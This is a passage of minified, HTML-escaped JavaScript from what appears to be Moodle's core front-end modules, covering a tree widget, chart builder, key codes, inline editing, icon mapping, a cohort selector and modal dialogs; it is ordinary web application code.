currentActive=this.treeRoot.data(&quot;activeItem&quot;);item!==currentActive&amp;&amp;(currentActive&amp;&amp;(currentActive.attr(&quot;tabindex&quot;,&quot;-1&quot;),currentActive.attr(&quot;aria-selected&quot;,&quot;false&quot;)),item.attr(&quot;tabindex&quot;,&quot;0&quot;),item.attr(&quot;aria-selected&quot;,&quot;true&quot;),this.treeRoot.data(&quot;activeItem&quot;,item),&quot;function&quot;==typeof this.selectCallback&amp;&amp;this.selectCallback(item))},Tree.prototype.isGroupItem=function(item){return item.is(SELECTORS_GROUP)},Tree.prototype.getGroupFromItem=function(item){var ariaowns=this.treeRoot.find(&quot;#&quot;+item.attr(&quot;aria-owns&quot;)),plain=item.children(&quot;[role=group]&quot;);return ariaowns.length&gt;plain.length?ariaowns:plain},Tree.prototype.isGroupCollapsed=function(item){return&quot;false&quot;===item.attr(&quot;aria-expanded&quot;)},Tree.prototype.isGroupCollapsible=function(item){return&quot;false&quot;!==item.attr(&quot;data-collapsible&quot;)},Tree.prototype.initialiseNodes=function(node){this.removeAllFromTabOrder(node),this.setAriaSelectedFalseOnItems(node);var thisTree=this;node.find(SELECTORS_UNLOADED_AJAX_ITEM).each((function(){var unloadedNode=$(this);thisTree.collapseGroup(unloadedNode),thisTree.expandGroup(unloadedNode)}))},Tree.prototype.removeAllFromTabOrder=function(node){node.find(&quot;*&quot;).attr(&quot;tabindex&quot;,&quot;-1&quot;),this.getGroupFromItem($(node)).find(&quot;*&quot;).attr(&quot;tabindex&quot;,&quot;-1&quot;)},Tree.prototype.setAriaSelectedFalseOnItems=function(node){node.find(SELECTORS_ITEM).attr(&quot;aria-selected&quot;,&quot;false&quot;)},Tree.prototype.expandAllGroups=function(){var thisTree=this;this.treeRoot.find(SELECTORS_CLOSED_GROUP).each((function(){var groupNode=$(this);thisTree.expandGroup($(this)).done((function(){thisTree.expandAllChildGroups(groupNode)}))}))},Tree.prototype.expandAllChildGroups=function(item){var thisTree=this;this.getGroupFromItem(item).find(SELECTORS_CLOSED_GROUP).each((function(){var groupNode=$(this);thisTree.expandGroup($(this)).done((function(){thisTree.expandAllChildGroups(groupNode)}))}))},Tree.prototype.expandGroup=function(item){var promise=$.Deferred();if(&quot;false&quot;!==item.attr(&quot;data-expandable&quot;)&amp;&amp;this.isGroupCollapsed(item))if(&quot;true&quot;===item.attr(&quot;data-requires-ajax&quot;)&amp;&amp;&quot;true&quot;!==item.attr(&quot;data-loaded&quot;)){item.attr(&quot;data-loaded&quot;,!1);var moduleName=item.closest(&quot;[data-ajax-loader]&quot;).attr(&quot;data-ajax-loader&quot;),thisTree=this;const p=item.find(&quot;p&quot;);p.addClass(&quot;loading&quot;),require([moduleName],(function(loader){loader.load(item).done((function(){item.attr(&quot;data-loaded&quot;,!0),thisTree.initialiseNodes(item),thisTree.finishExpandingGroup(item),p.removeClass(&quot;loading&quot;),promise.resolve()}))}))}else this.finishExpandingGroup(item),promise.resolve();else promise.resolve();return promise},Tree.prototype.finishExpandingGroup=function(item){this.getGroupFromItem(item).removeAttr(&quot;aria-hidden&quot;),item.attr(&quot;aria-expanded&quot;,&quot;true&quot;),this.refreshVisibleItemsCache()},Tree.prototype.collapseGroup=function(item){this.isGroupCollapsible(item)&amp;&amp;!this.isGroupCollapsed(item)&amp;&amp;(this.getGroupFromItem(item).attr(&quot;aria-hidden&quot;,&quot;true&quot;),item.attr(&quot;aria-expanded&quot;,&quot;false&quot;),this.refreshVisibleItemsCache())},Tree.prototype.toggleGroup=function(item){&quot;true&quot;===item.attr(&quot;aria-expanded&quot;)?this.collapseGroup(item):this.expandGroup(item)},Tree.prototype.handleKeyDown=function(e){var _this$getVisibleItems,item=$(e.target),currentIndex=null===(_this$getVisibleItems=this.getVisibleItems())||void 0===_this$getVisibleItems?void 0:_this$getVisibleItems.index(item);if(!(e.altKey||e.ctrlKey||e.metaKey||e.shiftKey&amp;&amp;e.keyCode!=this.keys.tab))switch(e.keyCode){case this.keys.home:return this.getVisibleItems().first().focus(),void e.preventDefault();case this.keys.end:return this.getVisibleItems().last().focus(),void e.preventDefault();case this.keys.enter:var links=item.children(&quot;a&quot;).length?item.children(&quot;a&quot;):item.children().not(SELECTORS_GROUP).find(&quot;a&quot;);return links.length?links.first().data(&quot;overrides-tree-activation-key-handler&quot;)?links.first().triggerHandler(e):&quot;function&quot;==typeof this.enterCallback?this.enterCallback(item):window.location.href=links.first().attr(&quot;href&quot;):this.isGroupItem(item)&amp;&amp;this.toggleGroup(item,!0),void e.preventDefault();case this.keys.space:if(this.isGroupItem(item))this.toggleGroup(item,!0);else if(item.children(&quot;a&quot;).length){var firstLink=item.children(&quot;a&quot;).first();firstLink.data(&quot;overrides-tree-activation-key-handler&quot;)&amp;&amp;firstLink.triggerHandler(e)}return void e.preventDefault();case this.keys.left:var focusParent=function(tree){tree.getVisibleItems().filter((function(){return tree.getGroupFromItem($(this)).has(item).length})).focus()};return this.isGroupItem(item)?this.isGroupCollapsed(item)?focusParent(this):this.collapseGroup(item):focusParent(this),void e.preventDefault();case this.keys.right:return this.isGroupItem(item)&amp;&amp;(this.isGroupCollapsed(item)?this.expandGroup(item):this.getGroupFromItem(item).find(SELECTORS_ITEM).first().focus()),void e.preventDefault();case this.keys.up:if(currentIndex&gt;0)this.getVisibleItems().eq(currentIndex-1).focus();return void e.preventDefault();case this.keys.down:if(currentIndex&lt;this.getVisibleItems().length-1)this.getVisibleItems().eq(currentIndex+1).focus();return void e.preventDefault();case this.keys.asterisk:return this.expandAllGroups(),void e.preventDefault()}},Tree.prototype.handleItemClick=function(event,item){item.focus(),this.isGroupItem(item)&amp;&amp;this.toggleGroup(item)},Tree.prototype.handleClick=function(event){if(!(event.altKey||event.ctrlKey||event.shiftKey||event.metaKey)){var item=$(event.target).closest(&#039;[role=&quot;treeitem&quot;]&#039;);item.is(event.currentTarget)&amp;&amp;this.handleItemClick(event,item)}},Tree.prototype.handleFocus=function(e){this.setActiveItem($(e.target))},Tree.prototype.bindEventHandlers=function(){this.treeRoot.on({click:this.handleClick.bind(this),keydown:this.handleKeyDown.bind(this),focus:this.handleFocus.bind(this)},SELECTORS_ITEM)},Tree}));
/**
 * Chart builder.
 *
 * @copyright  2016 Frédéric Massart - FMCorz.net
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core/chart_builder&quot;,[&quot;jquery&quot;],(function($){return{make:function(data){var deferred=$.Deferred();return require([&quot;core/chart_&quot;+data.type],(function(Klass){var instance=Klass.prototype.create(Klass,data);deferred.resolve(instance)})),deferred.promise()}}}));
/**
 * A list of human readable names for the keycodes.
 *
 * @module     core/key_codes
 * @copyright  2016 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.2
 */
define(&quot;core/key_codes&quot;,(function(){return{tab:9,enter:13,shift:16,ctrl:17,alt:18,escape:27,space:32,end:35,home:36,arrowLeft:37,arrowUp:38,arrowRight:39,arrowDown:40,8:56,asterix:106,pageUp:33,pageDown:34}}));
/**
 * AJAX helper for the inline editing a value.
 *
 * This script is automatically included from template core/inplace_editable
 * It registers a click-listener on [data-inplaceeditablelink] link (the &quot;inplace edit&quot; icon),
 * then replaces the displayed value with an input field. On &quot;Enter&quot; it sends a request
 * to web service core_update_inplace_editable, which invokes the specified callback.
 * Any exception thrown by the web service (or callback) is displayed as an error popup.
 *
 * @module     core/inplace_editable
 * @copyright  2016 Marina Glancy
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.1
 */
define(&quot;core/inplace_editable&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/templates&quot;,&quot;core/notification&quot;,&quot;core/str&quot;,&quot;core/config&quot;,&quot;core/url&quot;,&quot;core/form-autocomplete&quot;,&quot;core/pending&quot;,&quot;core/local/inplace_editable/events&quot;],(function($,ajax,templates,notification,str,cfg,url,autocomplete,Pending,Events){const updateValue=function(mainelement,value,silent){var pendingId=[mainelement.attr(&quot;data-itemid&quot;),mainelement.attr(&quot;data-component&quot;),mainelement.attr(&quot;data-itemtype&quot;)].join(&quot;-&quot;),pendingPromise=new Pending(pendingId);addSpinner(mainelement),ajax.call([{methodname:&quot;core_update_inplace_editable&quot;,args:{itemid:mainelement.attr(&quot;data-itemid&quot;),component:mainelement.attr(&quot;data-component&quot;),itemtype:mainelement.attr(&quot;data-itemtype&quot;),value:value}}])[0].then((function(data){return templates.render(&quot;core/inplace_editable&quot;,data).then((function(html,js){var oldvalue=mainelement.attr(&quot;data-value&quot;),newelement=$(html);templates.replaceNode(mainelement,newelement,js),silent||newelement.find(&quot;[data-inplaceeditablelink]&quot;).focus(),Events.notifyElementUpdated(newelement.get(0),data,oldvalue)}))})).then((function(){return pendingPromise.resolve()})).fail((function(ex){var element;(element=mainelement).removeClass(&quot;updating&quot;),element.find(&quot;img.spinner&quot;).hide(),M.util.js_complete(pendingId),Events.notifyElementUpdateFailed(mainelement.get(0),ex,value).defaultPrevented||notification.exception(ex)}))},addSpinner=function(element){element.addClass(&quot;updating&quot;);var spinner=element.find(&quot;img.spinner&quot;);spinner.length?spinner.show():(spinner=$(&quot;&lt;img/&gt;&quot;).attr(&quot;src&quot;,url.imageUrl(&quot;i/loading_small&quot;)).addClass(&quot;spinner&quot;).addClass(&quot;smallicon&quot;),element.append(spinner))};return $(&quot;body&quot;).on(&quot;click keypress&quot;,&quot;[data-inplaceeditable] [data-inplaceeditablelink]&quot;,(function(e){if(&quot;keypress&quot;!==e.type||13===e.keyCode){var editingEnabledPromise=new Pending(&quot;autocomplete-start-editing&quot;);e.stopImmediatePropagation(),e.preventDefault();var mainelement=$(this).closest(&quot;[data-inplaceeditable]&quot;),turnEditingOff=function(el){el.find(&quot;input&quot;).off(),el.find(&quot;select&quot;).off(),el.html(el.attr(&quot;data-oldcontent&quot;)),el.removeAttr(&quot;data-oldcontent&quot;),el.removeClass(&quot;inplaceeditingon&quot;),el.find(&quot;[data-inplaceeditablelink]&quot;).focus(),el.parents(&#039;[data-inplace-in-draggable=&quot;true&quot;]&#039;).attr(&quot;draggable&quot;,!0).attr(&quot;data-inplace-in-draggable&quot;,!1)},uniqueId=function(prefix,idlength){var i,uniqid=prefix;for(i=0;i&lt;idlength;i++)uniqid+=String(Math.floor(10*Math.random()));return 0===$(&quot;#&quot;+uniqid).length?uniqid:uniqueId(prefix,idlength)};$(&#039;[data-inplace-in-draggable=&quot;true&quot;]&#039;).attr(&quot;draggable&quot;,!0).attr(&quot;data-inplace-in-draggable&quot;,!1),$(&quot;span.inplaceeditable.inplaceeditingon&quot;).each((function(){turnEditingOff($(this))})),function(el){el.addClass(&quot;inplaceeditingon&quot;),el.attr(&quot;data-oldcontent&quot;,el.html());var type=el.attr(&quot;data-type&quot;),options=el.attr(&quot;data-options&quot;);el.parents(&#039;[draggable=&quot;true&quot;]&#039;).attr(&quot;data-inplace-in-draggable&quot;,!0).attr(&quot;draggable&quot;,!1),&quot;toggle&quot;===type?function(el,newvalue){turnEditingOff(el),updateValue(el,newvalue)}(el,options):&quot;select&quot;===type?function(el,options){var i,inputelement=$(&quot;&lt;select&gt;&lt;/select&gt;&quot;).attr(&quot;id&quot;,uniqueId(&quot;id_inplacevalue_&quot;,20)).addClass(&quot;custom-select&quot;),lbl=$(&#039;&lt;label class=&quot;accesshide&quot;&gt;&#039;+mainelement.attr(&quot;data-editlabel&quot;)+&quot;&lt;/label&gt;&quot;).attr(&quot;for&quot;,inputelement.attr(&quot;id&quot;));for(i in options)inputelement.append($(&quot;&lt;option&gt;&quot;).attr(&quot;value&quot;,options[i].key).html(options[i].value));inputelement.val(el.attr(&quot;data-value&quot;)),el.html(&quot;&quot;).append(lbl).append(inputelement),inputelement.focus(),inputelement.select(),inputelement.on(&quot;keyup change focusout&quot;,(function(e){if(!cfg.behatsiterunning||&quot;focusout&quot;!==e.type){if(&quot;change&quot;===e.type){var val=inputelement.val();turnEditingOff(el),updateValue(el,val)}(&quot;keyup&quot;===e.type&amp;&amp;27===e.keyCode||&quot;focusout&quot;===e.type)&amp;&amp;turnEditingOff(el)}}))}(el,$.parseJSON(options)):&quot;autocomplete&quot;===type?function(el,args){var i,inputelement=$(&quot;&lt;select&gt;&lt;/select&gt;&quot;).attr(&quot;id&quot;,uniqueId(&quot;id_inplacevalue_&quot;,20)).addClass(&quot;form-autocomplete-original-select&quot;).addClass(&quot;custom-select&quot;),lbl=$(&#039;&lt;label class=&quot;accesshide&quot;&gt;&#039;+mainelement.attr(&quot;data-editlabel&quot;)+&quot;&lt;/label&gt;&quot;).attr(&quot;for&quot;,inputelement.attr(&quot;id&quot;)),options=args.options,attributes=args.attributes,saveelement=$(&#039;&lt;a href=&quot;#&quot;&gt;&lt;/a&gt;&#039;),cancelelement=$(&#039;&lt;a href=&quot;#&quot;&gt;&lt;/a&gt;&#039;);for(i in options)inputelement.append($(&quot;&lt;option&gt;&quot;).attr(&quot;value&quot;,options[i].key).html(options[i].value));attributes.multiple&amp;&amp;inputelement.attr(&quot;multiple&quot;,&quot;true&quot;),inputelement.val(JSON.parse(el.attr(&quot;data-value&quot;))),str.get_string(&quot;savechanges&quot;,&quot;core&quot;).then((function(s){return templates.renderPix(&quot;e/save&quot;,&quot;core&quot;,s)})).then((function(html){saveelement.append(html)})).fail(notification.exception),str.get_string(&quot;cancel&quot;,&quot;core&quot;).then((function(s){return templates.renderPix(&quot;e/cancel&quot;,&quot;core&quot;,s)})).then((function(html){cancelelement.append(html)})).fail(notification.exception),el.html(&quot;&quot;).append(lbl).append(inputelement).append(saveelement).append(cancelelement),inputelement.focus(),inputelement.select(),autocomplete.enhance(inputelement,attributes.tags,attributes.ajax,attributes.placeholder,attributes.caseSensitive,attributes.showSuggestions,attributes.noSelectionString).then((function(){el.find(&quot;[role=combobox]&quot;).focus()})).fail(notification.exception),inputelement.on(&quot;keyup&quot;,(function(e){(&quot;keyup&quot;===e.type&amp;&amp;27===e.keyCode||&quot;focusout&quot;===e.type)&amp;&amp;turnEditingOff(el)})),saveelement.on(&quot;click&quot;,(function(e){var val=JSON.stringify(inputelement.val());inputelement.empty(),turnEditingOff(el),updateValue(el,val),e.preventDefault()})),cancelelement.on(&quot;click&quot;,(function(e){inputelement.empty(),turnEditingOff(el),e.preventDefault()}))}(el,$.parseJSON(options)):function(el){str.get_string(&quot;edittitleinstructions&quot;).done((function(s){var instr=$(&#039;&lt;span class=&quot;editinstructions&quot;&gt;&#039;+s+&quot;&lt;/span&gt;&quot;).attr(&quot;id&quot;,uniqueId(&quot;id_editinstructions_&quot;,20)),inputelement=$(&#039;&lt;input type=&quot;text&quot;/&gt;&#039;).attr(&quot;id&quot;,uniqueId(&quot;id_inplacevalue_&quot;,20)).attr(&quot;value&quot;,el.attr(&quot;data-value&quot;)).attr(&quot;aria-describedby&quot;,instr.attr(&quot;id&quot;)).addClass(&quot;ignoredirty&quot;).addClass(&quot;form-control&quot;),lbl=$(&#039;&lt;label class=&quot;accesshide&quot;&gt;&#039;+mainelement.attr(&quot;data-editlabel&quot;)+&quot;&lt;/label&gt;&quot;).attr(&quot;for&quot;,inputelement.attr(&quot;id&quot;));el.html(&quot;&quot;).append(instr).append(lbl).append(inputelement),inputelement.focus(),inputelement.select(),inputelement.on(&quot;keyup keypress focusout&quot;,(function(e){if(!cfg.behatsiterunning||&quot;focusout&quot;!==e.type){if(&quot;keypress&quot;===e.type&amp;&amp;13===e.keyCode){var val=inputelement.val();turnEditingOff(el),updateValue(el,val)}(&quot;keyup&quot;===e.type&amp;&amp;27===e.keyCode||&quot;focusout&quot;===e.type)&amp;&amp;turnEditingOff(el)}}))}))}(el)}(mainelement),editingEnabledPromise.resolve()}})),{getInplaceEditable:function(parent){const element=parent.querySelector(&quot;[data-inplaceeditable]&quot;);if(element)return{element:element,getValue:function(){return this.element.dataset.value},setValue:function(newvalue){updateValue($(this.element),newvalue,!0)},getItemId:function(){return this.element.dataset.itemid}}}}}));
/**
 * Competency rule points module.
 *
 * @module core/icon_system_fontawesome
 * @copyright  2017 Damyon Wiese
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core/icon_system_fontawesome&quot;,[&quot;core/icon_system&quot;,&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/mustache&quot;,&quot;core/localstorage&quot;,&quot;core/url&quot;],(function(IconSystem,$,Ajax,Mustache,LocalStorage,Url){var staticMap=null,fetchMap=null,IconSystemFontawesome=function(){IconSystem.apply(this,arguments)};return(IconSystemFontawesome.prototype=Object.create(IconSystem.prototype)).init=function(){var currTheme=M.cfg.theme;if(staticMap)return $.when(this);var map=LocalStorage.get(&quot;core_iconsystem/theme/&quot;+currTheme+&quot;/core/iconmap-fontawesome&quot;);return map&amp;&amp;(map=JSON.parse(map)),map?(staticMap=map,$.when(this)):(null===fetchMap&amp;&amp;(fetchMap=Ajax.call([{methodname:&quot;core_output_load_fontawesome_icon_system_map&quot;,args:{themename:M.cfg.theme}}],!0,!1,!1,0,M.cfg.themerev)[0]),fetchMap.then(function(map){return staticMap={},$.each(map,(function(index,value){staticMap[value.component+&quot;/&quot;+value.pix]=value.to})),LocalStorage.set(&quot;core_iconsystem/theme/&quot;+currTheme+&quot;/core/iconmap-fontawesome&quot;,JSON.stringify(staticMap)),this}.bind(this)))},IconSystemFontawesome.prototype.renderIcon=function(key,component,title,template){var mappedIcon=staticMap[component+&quot;/&quot;+key],unmappedIcon=!1;void 0===mappedIcon&amp;&amp;(unmappedIcon={attributes:[{name:&quot;src&quot;,value:Url.imageUrl(key,component)},{name:&quot;alt&quot;,value:title},{name:&quot;title&quot;,value:title}]});var context={key:mappedIcon,title:title,alt:title,unmappedIcon:unmappedIcon};return void 0!==title&amp;&amp;&quot;&quot;!==title||(context[&quot;aria-hidden&quot;]=!0),Mustache.render(template,context).trim()},IconSystemFontawesome.prototype.getTemplateName=function(){return&quot;core/pix_icon_fontawesome&quot;},IconSystemFontawesome}));
/**
 * Course selector adaptor for auto-complete form element.
 *
 * @module     core/form-cohort-selector
 * @copyright  2016 Damyon Wiese &lt;damyon@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.1
 */
define(&quot;core/form-cohort-selector&quot;,[&quot;core/ajax&quot;,&quot;jquery&quot;],(function(ajax,$){return{processResults:function(selector,data){var results=[],i=0,excludelist=String($(selector).data(&quot;exclude&quot;)).split(&quot;,&quot;);for(i=0;i&lt;data.cohorts.length;i++)-1===excludelist.indexOf(String(data.cohorts[i].id))&amp;&amp;results.push({value:data.cohorts[i].id,label:data.cohorts[i].name});return results},transport:function(selector,query,success,failure){var promises;void 0===query&amp;&amp;(query=&quot;&quot;);var calls=[{methodname:&quot;core_cohort_search_cohorts&quot;,args:{query:query,includes:&quot;parents&quot;,limitfrom:0,limitnum:100,context:{contextid:$(selector).data(&quot;contextid&quot;)}}}];promises=ajax.call(calls),$.when.apply($.when,promises).done((function(data){success(data)})).fail(failure)}}}));
/**
 * Contain the logic for modals.
 *
 * @module core/modal
 * @class core/modal
 * @copyright  2016 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core/modal&quot;,[&quot;jquery&quot;,&quot;core/templates&quot;,&quot;core/notification&quot;,&quot;core/key_codes&quot;,&quot;core/custom_interaction_events&quot;,&quot;core/modal_backdrop&quot;,&quot;core_filters/events&quot;,&quot;core/modal_events&quot;,&quot;core/local/aria/focuslock&quot;,&quot;core/pending&quot;,&quot;core/aria&quot;,&quot;core/fullscreen&quot;],(function($,Templates,Notification,KeyCodes,CustomEvents,ModalBackdrop,FilterEvents,ModalEvents,FocusLock,Pending,Aria,Fullscreen){var backdropPromise,SELECTORS_CONTAINER=&#039;[data-region=&quot;modal-container&quot;]&#039;,SELECTORS_MODAL=&#039;[data-region=&quot;modal&quot;]&#039;,SELECTORS_HEADER=&#039;[data-region=&quot;header&quot;]&#039;,SELECTORS_TITLE=&#039;[data-region=&quot;title&quot;]&#039;,SELECTORS_BODY=&#039;[data-region=&quot;body&quot;]&#039;,SELECTORS_FOOTER=&#039;[data-region=&quot;footer&quot;]&#039;,SELECTORS_HIDE=&#039;[data-action=&quot;hide&quot;]&#039;,SELECTORS_DIALOG=&quot;[role=dialog]&quot;,SELECTORS_FORM=&quot;form&quot;,SELECTORS_MENU_BAR=&quot;[role=menubar]&quot;,SELECTORS_HAS_Z_INDEX=&quot;.moodle-has-zindex&quot;,TEMPLATES_LOADING=&quot;core/loading&quot;,TEMPLATES_BACKDROP=&quot;core/modal_backdrop&quot;,modalCounter=0,Modal=function(root){this.root=$(root),this.modal=this.root.find(SELECTORS_MODAL),this.header=this.modal.find(SELECTORS_HEADER),this.headerPromise=$.Deferred(),this.title=this.header.find(SELECTORS_TITLE),this.titlePromise=$.Deferred(),this.body=this.modal.find(SELECTORS_BODY),this.bodyPromise=$.Deferred(),this.footer=this.modal.find(SELECTORS_FOOTER),this.footerPromise=$.Deferred(),this.hiddenSiblings=[],this.isAttached=!1,this.bodyJS=null,this.footerJS=null,this.modalCount=modalCounter++,this.attachmentPoint=document.createElement(&quot;div&quot;),document.body.append(this.attachmentPoint),this.root.is(SELECTORS_CONTAINER)||Notification.exception({message:&quot;Element is not a modal container&quot;}),this.modal.length||Notification.exception({message:&quot;Container does not contain a modal&quot;}),this.header.length||Notification.exception({message:&quot;Modal is missing a header region&quot;}),this.title.length||Notification.exception({message:&quot;Modal header is missing a title region&quot;}),this.body.length||Notification.exception({message:&quot;Modal is missing a body region&quot;}),this.footer.length||Notification.exception({message:&quot;Modal is missing a footer region&quot;}),this.registerEventListeners()};return Modal.prototype.attachToDOM=function(){this.getAttachmentPoint().append(this.root),this.isAttached||(FocusLock.trapFocus(this.root[0]),this.bodyJS&amp;&amp;(Templates.runTemplateJS(this.bodyJS),this.bodyJS=null),this.footerJS&amp;&amp;(Templates.runTemplateJS(this.footerJS),this.footerJS=null),this.isAttached=!0)},Modal.prototype.countOtherVisibleModals=function(){var count=0;return $(&quot;body&quot;).find(SELECTORS_CONTAINER).each(function(index,element){element=$(element),!this.root.is(element)&amp;&amp;element.hasClass(&quot;show&quot;)&amp;&amp;count++}.bind(this)),count},Modal.prototype.getBackdrop=function(){return backdropPromise||(backdropPromise=Templates.render(TEMPLATES_BACKDROP,{}).then((function(html){var element=$(html);return new ModalBackdrop(element)})).fail(Notification.exception)),backdropPromise},Modal.prototype.getRoot=function(){return this.root},Modal.prototype.getModal=function(){return this.modal},Modal.prototype.getTitle=function(){return this.title},Modal.prototype.getBody=function(){return this.body},Modal.prototype.getFooter=function(){return this.footer},Modal.prototype.getTitlePromise=function(){return this.titlePromise},Modal.prototype.getBodyPromise=function(){return this.bodyPromise},Modal.prototype.getFooterPromise=function(){return this.footerPromise},Modal.prototype.getModalCount=function(){return this.modalCount},Modal.prototype.setTitle=function(value){var title=this.getTitle();this.titlePromise=$.Deferred(),this.asyncSet(value,title.html.bind(title)).then(function(){this.titlePromise.resolve(title)}.bind(this)).catch(Notification.exception)},Modal.prototype.setBody=function(value){this.bodyPromise=$.Deferred();var body=this.getBody();if(&quot;string&quot;==typeof value)body.html(value),FilterEvents.notifyFilterContentUpdated(body),this.getRoot().trigger(ModalEvents.bodyRendered,this),this.bodyPromise.resolve(body);else{var jsPendingId=&quot;amd-modal-js-pending-id-&quot;+this.getModalCount();M.util.js_pending(jsPendingId);var contentPromise=null;if(body.css(&quot;overflow&quot;,&quot;hidden&quot;),&quot;pending&quot;==(value=$.when(value)).state()){var height=body.innerHeight();height&lt;100&amp;&amp;(height=100),body.animate({height:height+&quot;px&quot;},150),body.html(&quot;&quot;),contentPromise=Templates.render(TEMPLATES_LOADING,{}).then((function(html){var loadingIcon=$(html).hide();return body.html(loadingIcon),loadingIcon.fadeIn(150),$.when(loadingIcon.promise(),value)})).then((function(loadingIcon){return loadingIcon.fadeOut(100).promise()})).then((function(){return value}))}else contentPromise=value;contentPromise.then(function(html,js){var result=null;if(this.isVisible()){body.css(&quot;opacity&quot;,0);var currentHeight=body.innerHeight();body.html(html),body.css(&quot;height&quot;,&quot;&quot;);var newHeight=body.innerHeight();body.css(&quot;height&quot;,currentHeight+&quot;px&quot;),result=body.animate({height:newHeight+&quot;px&quot;,opacity:1},{duration:150,queue:!1}).promise()}else body.html(html);return js&amp;&amp;(this.isAttached?Templates.runTemplateJS(js):this.bodyJS=js),result}.bind(this)).then(function(result){return FilterEvents.notifyFilterContentUpdated(body),this.getRoot().trigger(ModalEvents.bodyRendered,this),result}.bind(this)).then(function(){this.bodyPromise.resolve(body)}.bind(this)).fail(Notification.exception).always((function(){body.css(&quot;height&quot;,&quot;&quot;),body.css(&quot;overflow&quot;,&quot;&quot;),body.css(&quot;opacity&quot;,&quot;&quot;),M.util.js_complete(jsPendingId)})).fail(Notification.exception)}},Modal.prototype.setBodyContent=function(promise){return promise.then((_ref=&gt;{let{html:html,js:js}=_ref;return this.setBody($.when(html,js))})).catch((exception=&gt;{throw this.hide(),exception}))},Modal.prototype.setFooter=function(value){this.showFooter(),this.footerPromise=$.Deferred();var footer=this.getFooter();&quot;string&quot;==typeof value?(footer.html(value),this.footerPromise.resolve(footer)):Templates.render(TEMPLATES_LOADING,{}).then((function(html){return footer.html(html),value})).then(function(html,js){return footer.html(html),js&amp;&amp;(this.isAttached?Templates.runTemplateJS(js):this.footerJS=js),footer}.bind(this)).then(function(footer){this.footerPromise.resolve(footer)}.bind(this)).catch(Notification.exception)},Modal.prototype.hasFooterContent=function(){return!!this.getFooter().children().length},Modal.prototype.hideFooter=function(){this.getFooter().addClass(&quot;hidden&quot;)},Modal.prototype.showFooter=function(){this.getFooter().removeClass(&quot;hidden&quot;)},Modal.prototype.setLarge=function(){this.isLarge()||this.getModal().addClass(&quot;modal-lg&quot;)},Modal.prototype.isLarge=function(){return this.getModal().hasClass(&quot;modal-lg&quot;)},Modal.prototype.setSmall=function(){this.isSmall()||this.getModal().removeClass(&quot;modal-lg&quot;)},Modal.prototype.isSmall=function(){return!this.getModal().hasClass(&quot;modal-lg&quot;)},Modal.prototype.setScrollable=function(value){value?this.getModal()[0].classList.add(&quot;modal-dialog-scrollable&quot;):this.getModal()[0].classList.remove(&quot;modal-dialog-scrollable&quot;)},Modal.prototype.calculateZIndex=function(){var items=$(SELECTORS_DIALOG+&quot;, &quot;+SELECTORS_MENU_BAR+&quot;, &quot;+SELECTORS_HAS_Z_INDEX),zIndex=parseInt(this.root.css(&quot;z-index&quot;));return items.each((function(index,item){var itemZIndex=(item=$(item)).css(&quot;z-index&quot;)?parseInt(item.css(&quot;z-index&quot;)):0;itemZIndex&gt;zIndex&amp;&amp;(zIndex=itemZIndex)})),zIndex},Modal.prototype.isVisible=function(){return this.root.hasClass(&quot;show&quot;)},Modal.prototype.hasFocus=function(){var target=$(document.activeElement);return this.root.is(target)||this.root.has(target).length},Modal.prototype.hasTransitions=function(){return this.getRoot().hasClass(&quot;fade&quot;)},Modal.prototype.getAttachmentPoint=function(){return $(Fullscreen.getElement()||this.attachmentPoint)},Modal.prototype.show=function(){if(this.isVisible())return $.Deferred().resolve();var pendingPromise=new Pending(&quot;core/modal:show&quot;);return this.hasFooterContent()?this.showFooter():this.hideFooter(),this.attachToDOM(),this.getBackdrop().then(function(backdrop){var newIndex=this.calculateZIndex()+2,newBackdropIndex=newIndex-1;this.root.css(&quot;z-index&quot;,newIndex),backdrop.setZIndex(newBackdropIndex),backdrop.show(),this.root.removeClass(&quot;hide&quot;).addClass(&quot;show&quot;),this.accessibilityShow(),this.getModal().focus(),$(&quot;body&quot;).addClass(&quot;modal-open&quot;),this.root.trigger(ModalEvents.shown,this)}.bind(this)).then(pendingPromise.resolve)},Modal.prototype.hideIfNotForm=function(){0==this.modal.find(SELECTORS_FORM).length&amp;&amp;this.hide()},Modal.prototype.hide=function(){this.getBackdrop().done(function(backdrop){FocusLock.untrapFocus(),this.countOtherVisibleModals()||(backdrop.hide(),$(&quot;body&quot;).removeClass(&quot;modal-open&quot;));var currentIndex=parseInt(this.root.css(&quot;z-index&quot;));this.root.css(&quot;z-index&quot;,&quot;&quot;),backdrop.setZIndex(currentIndex-3),this.accessibilityHide(),this.hasTransitions()?this.getRoot().one(&quot;transitionend webkitTransitionEnd oTransitionEnd&quot;,function(){this.getRoot().removeClass(&quot;show&quot;).addClass(&quot;hide&quot;)}.bind(this)):this.getRoot().removeClass(&quot;show&quot;).addClass(&quot;hide&quot;),$(document.body).find(this.getRoot()).length&amp;&amp;$(document.body).append(this.getRoot()),this.root.trigger(ModalEvents.hidden,this)}.bind(this))},Modal.prototype.destroy=function(){this.hide(),this.root.remove(),this.root.trigger(ModalEvents.destroyed,this),this.attachmentPoint.remove()},Modal.prototype.accessibilityShow=function(){Aria.unhide(this.root.get()),Aria.hideSiblings(this.root.get()[0])},Modal.prototype.accessibilityHide=function(){Aria.unhideSiblings(this.root.get()[0]),Aria.hide(this.root.get())},Modal.prototype.registerEventListeners=function(){this.getRoot().on(&quot;keydown&quot;,function(e){this.isVisible()&amp;&amp;e.keyCode==KeyCodes.escape&amp;&amp;(this.removeOnClose?this.destroy():this.hide())}.bind(this)),this.getRoot().click(function(e){if(!$(e.target).closest(SELECTORS_MODAL).length&amp;&amp;$(e.target).closest(SELECTORS_CONTAINER).length){var 